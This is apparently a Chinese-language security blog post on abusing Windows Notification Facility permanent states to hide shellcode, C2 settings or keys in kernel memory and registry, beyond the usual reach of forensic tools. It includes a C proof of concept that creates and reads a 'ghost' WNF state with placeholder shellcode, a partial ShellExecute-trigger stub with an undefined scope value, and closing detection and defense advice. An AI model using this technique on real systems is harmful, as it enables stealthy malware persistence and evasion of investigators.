Jul 05 2026 Off 摘要 Windows 通知设施(Windows Notification Facility)是内核向用户态分发系统事件的异步通道,负责传递诸如电池状态、网络连接变化、Shell 执行触发等大量低延迟通知。WNF 的状态数据以键值对形式存储在内核池中,并按临时或永久两种生命周期管理。然而,这一设计隐藏了一个鲜为人知的反取证库房:永久性 WNF 状态即使关联进程退出,其数据依然存活于内核内存中,且重启后仍可从注册表或其他持久化位置恢复。攻击者可通过 NtCreateWnfStateName 与 NtUpdateWnfStateData 在内核池中建立隐形存储,将 Shellcode、C2 配置或加密密钥藏匿于传统取证工具无法触及的角落,并在特定系统事件触发时通过 WNF_SHELLEXECUTE 等 Shell 触发器在用户态启动恶意进程。 WNF架构 轻量级通知引擎Windows 内核需要向用户态组件推送大量异步事件,例如电源管理通知、Shell 文件关联变更、网络地址变化等。早期实现主要依赖 ETW 提供者和回调,但 ETW 的启用和解析较为笨重。Windows 8 引入 WNF 作为更轻量的替代方案,其设计目标是在内核与用户态之间提供高效、基于状态的订阅通知机制,且无需用户态主动轮询。WNF 的整体组件架构与交互过程如下: +-------------------------------------------------------+ | 用户态层 | | +--------------------+ +---------------------+ | | | Publisher (发布者) | | Subscriber (订阅者) | | | +---------+----------+ +----------+----------+ | +------------|---------------------------|--------------+ | | NtUpdateWNFStateData| |NtSubscribeWNFStateChange | | +------------v---------------------------v--------------+ | ntdll.dll | | (原生 WNF API 封装) | +----------------------------|--------------------------+ | +----------------------------v--------------------------+ | Windows 内核 WNF 管理器 (内核态) | | +-------------------------------------------------+ | | | WNF 状态数据存储 | | | | (StateName 标识 / 安全描述符 / 监听回调队列) | | | +-------------------------------------------------+ | +----------------------------|--------------------------+ | 内核状态变更回调/分发通知 | +------------v------------------------------------------+ | 内核发布者 (内核驱动/Code Integrity) | +-------------------------------------------------------+ 状态名WNF 状态名的 64 位值由两个部分组成:Version(高 32 位) 和 Name(低 32 位)。用户态 API 接受一个 WNF_STATE_NAME 结构,内部包含 64 位状态名和两个生命周期字段: typedefstruct _WNF_STATE_NAME { ULONG64 StateName; ULONG NameLifeTime; // WnfTemporaryStateName (0) 或 WnfPermanentStateName (1) ULONG DataScope; // WnfDataScopeSystem (0), WnfDataScopeSession (1), WnfDataScopeUser (2) } WNF_STATE_NAME; 其中 NameLifeTime 决定状态数据的存活周期:临时状态(WnfTemporaryStateName = 0):在最后一次订阅关闭后,状态数据被内核回收。通常用于瞬态通知,如进程内事件。永久状态(WnfPermanentStateName = 1):状态数据在内核池中持久存在,即使所有订阅关闭也不回收。系统重启后,内核从注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState\{Version}\{Name} 恢复状态数据。 这成为攻击者理想的隐蔽存储载体。 内核池存储 状态数据WNF 状态数据存储在内核池中,由 WNF_STATE_DATA 结构描述: typedefstruct _WNF_STATE_DATA { ULONG Size; // 数据大小(字节) UCHAR Data[1]; // 变长数据 } WNF_STATE_DATA; 当用户调用 NtUpdateWnfStateData 时,内核分配或更新与状态名绑定的池内存块,将用户态提供的缓冲区复制进去。对于永久状态,内核额外写入注册表以支持跨重启持久化。由于该内存位于内核地址空间,用户态进程无法直接读取,除非通过 NtQueryWnfStateData API——而该 API 调用不会在常规的系统审计日志或 ETW 事件中产生记录,因此成为反取证的理想存储位置。反取证相比传统文件、注册表或命名管道,WNF 持久化具有以下逃避检测的特性:无文件痕迹:数据存储在内核池中,不写入文件系统,绕过文件完整性监控。注册表隐匿:永久状态会在注册表中留下键值,但位于 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState 这个极少被审查的角落。大多数取证工具(如 RegRipper)的默认规则不扫描此路径。无事件日志:WNF 的查询和更新操作不生成安全审计事件(事件 ID 4663 等),Sysmon 默认配置也不记录。与进程生命周期解耦:状态数据可独立于任何用户态进程存在。攻击者可以创建 WNF 状态后退出进程,数据仍存活于内核。 攻击场景 隐蔽存储恶意载荷攻击者可将加密的 Shellcode、C2 服务器地址、密钥或下一阶段 Dropper 的路径存储于永久 WNF 状态中。在需要时,从内核池中读取,解密并执行。由于存储不依赖文件系统,防病毒软件难以在静态扫描中查杀,且取证分析人员无法通过文件时间线发现恶意载荷的植入。利用 ShellExecute 触发器恢复执行WNF 有一组预定义的系统状态名,对应特定的系统事件。例如,WNF_SHELLEXECUTE 的状态名在 Shell 执行文件关联调用时被内核更新。攻击者可以订阅此状态,并注册一个回调函数。当受害者打开文件、启动程序或触发特定 Shell 操作时,WNF 通知唤醒攻击者的监视线程,从内核池中读取预先存储的恶意载荷并执行。更隐蔽的方式是:攻击者在永久 WNF 状态中存储完整的恶意 DLL 路径,并在系统启动时通过 WNF_SHELLEXECUTE 回调加载该 DLL,实现无文件持久化。 POC 定义未公开 API 与结构 // wnf_ghost.c // 利用 WNF 永久状态存储并恢复 Shellcode #include<windows.h> #include<winternl.h> #include<stdio.h> #pragma comment(lib, "ntdll.lib") // 未公开结构 typedefenum _WNF_STATE_NAME_LIFETIME { WnfTemporaryStateName = 0, WnfPermanentStateName = 1 } WNF_STATE_NAME_LIFETIME; typedefenum _WNF_DATA_SCOPE { WnfDataScopeSystem = 0, WnfDataScopeSession = 1, WnfDataScopeUser = 2 } WNF_DATA_SCOPE; typedefstruct _WNF_STATE_NAME { ULONG64 StateName; WNF_STATE_NAME_LIFETIME NameLifeTime; WNF_DATA_SCOPE DataScope; } WNF_STATE_NAME, *PWNF_STATE_NAME; typedefstruct _WNF_TYPE_ID { GUID TypeId; } WNF_TYPE_ID, *PWNF_TYPE_ID; // 未公开函数指针 typedefNTSTATUS(NTAPI *pNtCreateWnfStateName)( PWNF_STATE_NAME StateName, WNF_STATE_NAME_LIFETIME NameLifeTime, WNF_DATA_SCOPE DataScope, PWNF_TYPE_ID TypeId, ULONG DataSize, PVOID Data ); typedefNTSTATUS(NTAPI *pNtUpdateWnfStateData)( PWNF_STATE_NAME StateName, PVOID Buffer, ULONG Length, ULONG Reserved ); typedefNTSTATUS(NTAPI *pNtQueryWnfStateData)( PWNF_STATE_NAME StateName, PWNF_TYPE_ID TypeId, PVOID Buffer, PULONG BufferSize ); // 函数指针 pNtCreateWnfStateName NtCreateWnfStateName = NULL; pNtUpdateWnfStateData NtUpdateWnfStateData = NULL; pNtQueryWnfStateData NtQueryWnfStateData = NULL; voidResolveWNF(){ HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); NtCreateWnfStateName = (pNtCreateWnfStateName)GetProcAddress(ntdll, "NtCreateWnfStateName"); NtUpdateWnfStateData = (pNtUpdateWnfStateData)GetProcAddress(ntdll, "NtUpdateWnfStateData"); NtQueryWnfStateData = (pNtQueryWnfStateData)GetProcAddress(ntdll, "NtQueryWnfStateData"); } 创建永久状态并写入恶意数据 #define GHOST_KEY_LO 0x12345678 // 状态名低32位(可自定义) #define GHOST_KEY_HI 0x9ABCDEF0 // 高32位 // 组成64位状态名: (HI << 32) | LO voidCreateGhostState(){ WNF_STATE_NAME stateName; stateName.StateName = ((ULONG64)GHOST_KEY_HI << 32) | GHOST_KEY_LO; stateName.NameLifeTime = WnfPermanentStateName; stateName.DataScope = WnfDataScopeUser; // 要存储的数据(示例:加密的shellcode) unsignedchar shellcode[] = "\x90\x90\xcc\xc3"; // 简化 ULONG dataSize = sizeof(shellcode); NTSTATUS status = NtCreateWnfStateName(&stateName, WnfPermanentStateName, WnfDataScopeUser, NULL, dataSize, shellcode); if (status == 0) { printf("[+] Ghost WNF state created and data stored.\n"); } elseif (status == 0xC0000035) { // STATUS_OBJECT_NAME_COLLISION printf("[*] State already exists, updating data...\n"); NtUpdateWnfStateData(&stateName, shellcode, dataSize, 0); } else { printf("[-] Error: 0x%X\n", status); } } voidReadGhostState(){ WNF_STATE_NAME stateName; stateName.StateName = ((ULONG64)GHOST_KEY_HI << 32) | GHOST_KEY_LO; stateName.NameLifeTime = WnfPermanentStateName; stateName.DataScope = WnfDataScopeUser; UCHAR buffer[256]; ULONG bufferSize = sizeof(buffer); NTSTATUS status = NtQueryWnfStateData(&stateName, NULL, buffer, &bufferSize); if (status == 0) { printf("[+] Retrieved %lu bytes from ghost state:\n", bufferSize); for (ULONG i = 0; i < bufferSize; i++) printf("%02X ", buffer[i]); printf("\n"); } else { printf("[-] Query failed: 0x%X\n", status); } } intmain(){ ResolveWNF(); CreateGhostState(); ReadGhostState(); return0; } 利用 WNF_SHELLEXECUTE 回调触发执行 // 订阅 ShellExecute 通知并在回调中从 WNF 状态读取载荷并执行 HANDLE SubscribeShellExecute(PVOID callback){ // ShellExecute 的状态名(已知固定值) WNF_STATE_NAME shellState; shellState.StateName = 0x41C64E6DA3BC5075; // 根据版本确定 shellState.NameLifeTime = WnfPermanentStateName; shellState.DataScope = WnfDataScopeMachine; // 系统范围 // 调用 NtSubscribeWnfStateChange 注册回调(参数省略) // ... } 说明:由于注册 WNF 回调需要内核级订阅(NtSubscribeWnfStateChange)且涉及异步过程调用,完整代码较为复杂。上述片段展示了核心思路:攻击者提前在永久状态中存放载荷,然后在系统级 Shell 执行通知发生时,触发回调从内核池读取载荷并执行,从而在重启后仍能复活。 检测 检测方法注册表审计:监控 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WNF\PersistedState 及其子键的创建和修改,特别是异常的名称(非已知系统状态)。内核池扫描:使用 LiveKd 或 WinDbg 挂载系统内存,手动检查 WNF 状态池中是否存在大块非系统数据。WNF API 挂钩:对 NtCreateWnfStateName、NtUpdateWnfStateData 进行 SSDT 挂钩或通过 ETW 内核提供者记录调用。行为关联:检测短时进程创建永久 WNF 状态后退出,并且后续无订阅者读取数据。防御策略限制 WNF API 调用:通过 AppLocker 或 WDAC 禁止非授权进程调用 NtCreateWnfStateName(但可能影响正常系统功能)。清理策略:在系统启动或关机脚本中,遍历非系统永久状态并清除超出白名单的数据。提升取证覆盖率:将 WNF 持久化路径纳入数字取证工具的标准扫描规则,例如更新 RegRipper 插件。 结语 Windows 通知设施承载着系统与应用程序间的大量信息交互,却极少受到安全社区的审视。其永久状态机制为攻击者提供了一间反取证的储物间,无需触碰文件系统即可在内核中埋下后门,防御者必须将 WNF 纳入攻击面管理的视野。 Post navigation Previous PostPrevious 单向链表缺陷与 AuthzBasep SecurityDescriptor 传播攻击Next PostNext BMC 的暗网